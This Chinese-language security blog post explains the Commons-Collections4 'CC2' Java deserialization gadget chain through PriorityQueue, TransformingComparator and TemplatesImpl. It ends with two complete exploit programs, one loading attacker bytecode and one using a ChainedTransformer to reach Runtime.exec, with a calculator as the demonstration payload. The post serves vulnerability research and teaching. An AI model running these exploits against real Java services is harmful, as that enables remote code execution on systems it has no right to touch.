CommonsCollections2利用链

Java安全

利用条件

Commons-Collections4版本

JDK版本:JDK8u301以下版本、JDK11和JDK15

在高版本JDK8u71中修改了 AnnotationInvocationHandlerreadObject 方法,这也就导致CC1无法在高版本中利用,CC2利用链不再使用 AnnotationInvocationHandler 触发

引入依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

利用链

Gadget chain:
	ObjectInputStream.readObject()
		PriorityQueue.readObject()
			PriorityQueue.heapify()
				PriorityQueue.siftDown()
					PriorityQueue.siftDownUsingComparator()
						TransformingComparator.compare()
							InvokerTransformer.transform()
								TemplatesImpl.newTransformer()

利用链分析

TransformingComparator

image-20230817112949042

TransformingComparator 是一个实现了 ComparatorSerializable 接口的类,用于对给定的对象列表进行比较,并通过指定的转换函数对比较的对象进行转换

image-20230817113040648

image-20230817134534906

两个构造方法和一个 compare 方法如上,这里和CC1链中的 LazyMapget 方法类似,就是调用 Transformer 类型对象的 transform 方法

接下来就是要找哪些类调用了 TransformingComparator 类的 compare 方法

PriorityQueue

image-20230817140937415

经过查找 PriorityQueue 类的 siftUpUsingComparator() 方法和 siftDownUsingComparator() 方法调用了,该类实现了 Serializable 接口

image-20230817141612032

该类的 readObject() 方法中调用了 heapify() 方法

image-20230817141706132

heapify() 方法调用了 siftDown() 方法

image-20230817141804141

comparator 不为空的话,siftDown() 方法又调用了 siftDownUsingComparator() 方法

image-20230817141946929

image-20230817142843144

siftDownUsingComparator() 方法中调用了 comparator.compare() 方法

TransformingComparator 类实现了 Comparator 接口,所以这里是可直接使用的

byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
        "/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

image-20230817212755751

image-20230817213018379

为了避免在序列化前时调用 add() 方法就执行到 TransformingComparator.compare() 方法,我们需要在 new TransformingComparator() 时传入一个没有任何意义的 Transformer 类型对象 new ConstantTransformer(1)

PriorityQueuequeue 属性至少需要两个元素才能进行比较,所以至少需要调用 add() 方法两次

再通过反射将 TransformingComparator 类的 transformer 字段值改成 invokerTransformer 对象就能避免在序列化时会出错的问题

在序列化时调用的是 siftUpUsingComparator() 方法,在反序列化时调用的是 siftDownUsingComparator() 方法

利用链EXP编写

image-20230817160108576

上面是整个调用栈的过程和最后调用到的地方,根据上面调用栈再根据分析就能写出CC2的POC

基于ysoserial链EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
                "/CommonsCollections/EvilCode.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class TemplatesClass = templates.getClass();
        Field name = TemplatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"x");
        Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class transformingComparatorClass = transformingComparator.getClass();
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

自定义链EXP

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollection2_Custom {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class TransformingComparatorClass = transformingComparator.getClass();
        Field transformerField = TransformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

Author: wileysec

Permalink: https://wileysec.github.io/3a3651677a27.html

Comments